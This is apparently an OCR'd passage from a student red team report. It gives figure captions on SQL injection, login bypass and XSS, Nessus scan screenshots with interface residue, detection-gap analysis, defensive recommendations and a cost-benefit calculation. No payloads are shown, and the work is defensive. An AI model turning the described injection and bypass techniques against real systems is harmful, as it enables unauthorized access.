The Giant Enter Key Giant Pillow Thing Hexbug Battieground Tarantula Double Pack  The Trolley-ON

04:14 PM

,.g-' Q Search 2 , X ~ DD @ 25-Nov-25

Figure 54: SQL injection vulnerability in database query
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Figure 55: SQL injection vulnerability in database query — 2

In highlighting Figure 54 and Figure 55 that, how improper input handling allows hidden database data to be accessed
using SQL injection.
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Figure 56: SQL injection enabling authentication bypass
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Figure 57: SQL injection enabling authentication bypass — 2

It demonstrates Figure 56 and Figure 57 how a SQL injection flaw can be used to bypass the login process and gain

unauthorized access.
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Figure 59: Cross- site scripting vulnerability - 2
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Figure 60: Cross- site scripting vulnerability - 3
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Figure 61: Cross- site scripting vulnerability — 4

From Figure 58 to Figure 61 shows, XSS vulnerability where user input is not properly sanitized, allowing script execution
in the browser.

43



v O Nessus Essentials / Folders / My S X RW Create bibliography - RefiWorks X London Students » Hub
& (O || ® Notsecure hitps://localhost:8834/#/scans/folders/my-scans P ve) B = (5'9”"”
N

Otenable NessusEssentialsPlus ~ Scans  Settings @ A i @

My ScaﬂS Import New Folder @ New Scan

Name Scan Type Schedule Last Scanned ~
RESOURCES
Q 5 R&D AD Vulnerability On Demand Today at 3:23 PM

AWS VPC Vulnerability On Demand Today at 3:23 PM

CI-CD Vulnerability On Demand Today at 3:21 PM

Tenable News

Google Cloud
Platform (GCP)
Google Security
Operat....

Read More

D Rainy days ahead 3 03:33 PM
9°C g 14-Dec-25

Figure 62: All scan overview in Nessus

rates an overview of all the scans, which are R&D AD, AWS VPC, and CI-CD.

v O Nessus Essentials / Folders / View X RN Create bibliography - RefWorks London Students » Hub

&  (C || ® Notsecure https://localhost:8834/#/scans/reports/47/hosts D o= ( Sign in
=

Otenable NessusEssentialsPlus ~ Scans  Settings @ A i @
AWS VPC

< Back

Configure Audit Trail Launch ¥ Report Export ¥

Hosts 1 Vulnerabilities Remediations 2 Notes 1 History 1

Filter ¥

Host Auth  Vulnerabilities » Scan Details

192.168.6.10 Fail €] Policy: Basic Network Scan
Status: Completed
Severity Base: CVSSv3.0
Scanner: Local Scanner
Start: Today at 2:53 PM
End: Today at 3:22 PM
Elapsed: 29 minutes

Critical
High
Medium
Tenable News Low

Infa

WordPress - Ultimate

Dashboard exposed

APl Key

Read More

Temps to drop 1 03:34 PM
Next Tuesday 14-Dec-25

Figure 63: Nessus scan results for AWS VPC resources - 1
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Figure 64: Nessus scan results for AWS VPC resources - 2
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Figure 65: Nessus scan results for AWS VPC resources - 3
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Figure 67: Nessus scan results for AWS VPC resources - 5
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Figure 68: Nessus scan results for AWS VPC resources - 6

From Figure 63 to Figure 68 highlights the scan lists of hosts, vulnerabilities, and suggested remediation steps, with
notes to explain risk and priority for fixing the issues.
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Figure 69: Nessus scan results for CI-CD resources - 1
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Figure 71: Nessus scan results for CI-CD resources - 3
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Figure 73: Nessus scan results for CI-CD resources - 5
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Figure 74: Nessus scan results for CI-CD resources — 6
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From Figure 69 to Figure 74 Demonstrate that the Nessus results scanned hosts, vulnerabilities, the recommended

remediation actions, and notes that explain the risk level.
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Figure 76: Nessus scan results for R&D AD resources — 2
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Figure 78: Nessus scan results for R&D AD resources —4

According to Figure 75 to Figure 78 shows the scanned hosts, vulnerabilities, the recommended remediation action
and notes that explain the risk level.




6.1.3 Reporting & Analysis
6.1.3.1 Detection Gap Analysis

Big gaps in how threats were detected came to light during the red team test. The problem was that the people
interested in bad behavior with valid credentials looked almost exactly like regular users. For the most part, such
monitoring was for networks and established threats, which couldn’t sniff out more advanced attacks that make use of
regularly available system tools.

Another was the CI/CD pipeline. There were not enough logging or alerts, so the physical or virtual operators could
easily hide unauthorized actions among normal routine automated operations. It's typical because these systems
typically have access to high-level information but are left unwatched.

Finally, logs from on-premises systems and the cloud were not aggregated in a single location. This complicated attempt
to link user activity, lateral movement, and data exfiltration. Thanks to these shortcomings, the emulated attacker was
able to conduct reconnaissance, lateral movement, and data exfiltration stages without causing meaningful alarms. The
attack worked not because it was sophisticated, but rather because the detection was weak.

6.1.3.2 Strategic Recommendations

First, privileged accounts will be protected by phishing-resistant multi-factor authentication (MFA) for both
administrative and remote user accounts to minimize the risk from stolen credentials, a factor that paved the way for
APT actors [21].

Second, enhancing endpoint detection and response (EDR) to detect unusual usage of built-in tools and utilities such as
PowerShell, command-line executables remote administration software. The advertisement shows how connecting
detection to MITRE ATT&CK techniques promotes more effective behavioral detection, as well as minimizing the need
for simple signature-based alerts [11].

Third, it’s critical to centralize logs and integrate them into a SIEM from both on-premises and cloud-based CI/CD
environments. Mapping user activities, integrity of pipeline execution, and network communications can be useful in
identifying stealthy attacks. This must be combined with automated alerts and periodic threat-hunting drills [22].

And finally, network segmentation, enforcing least-privileged access, and improving management for CI/CD secrets can
restrict lateral movement and narrow the impact following a compromise. These measures combined form a layered
security strategy to protect both organizational and technical vulnerabilities identified in the assessment.

6.1.3.3 Cost-Benefit Analysis

To justify the recommended security improvements identified during Operation IP Shield, a basic cost-benefit calculation
is used. The analysis compares the annual cost of implementing security controls against the expected financial loss from
a potential breach involving intellectual property theft.

6.1.3.3.1 Assumptions (Reasonable & Defensible)

e Estimated cost of security improvements per year
(MFA, EDR tuning, SIEM integration, CI/CD hardening):
£150,000
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e Estimated financial impact of an IP breach
(R&D loss, delayed product release, legal and reputational damage):
£5,000,000

e Estimated annual likelihood of a successful APT-style breach without improvements:
20% (0.2)
(ENISA and NIST indicate high-value sectors face persistent APT targeting)

6.1.3.3.2 Expected Loss Equation

Expected Annual Loss (EAL) = Breach Impact % Probability
Expected Annual Loss (EAL) = £5,000,000 x 0.2 = £1,000,000

6.1.3.3.3 Cost-Benefit Comparison

Net Benefit = Expected Annual Loss (EAL) — Cost of Controls
Net Benefit = £1,000,000 — £150,000 = £850,000

6.1.3.3.4 Result

The cost—benefit analysis shows that investing £150,000 per year in improved security controls avoids an expected loss
of £1,000,000, resulting in a net annual benefit of approximately £850,000. Therefore, the recommended security
improvements are financially justified and economically favorable.

7 Conclusion

In conclusion, security is a crucial element for an organization’s success. This report has highlighted the importance of
moving beyond basic vulnerability assessments to adopt advanced offensive security strategies such as adversary
emulation and red team operations. By understanding real-world attacker behaviors and applying them ethically,
organizations can improve detection, response, and overall resilience against sophisticated threats. These practices not
only uncover technical weaknesses but also translate findings into practical, business-focused risk mitigation strategies.
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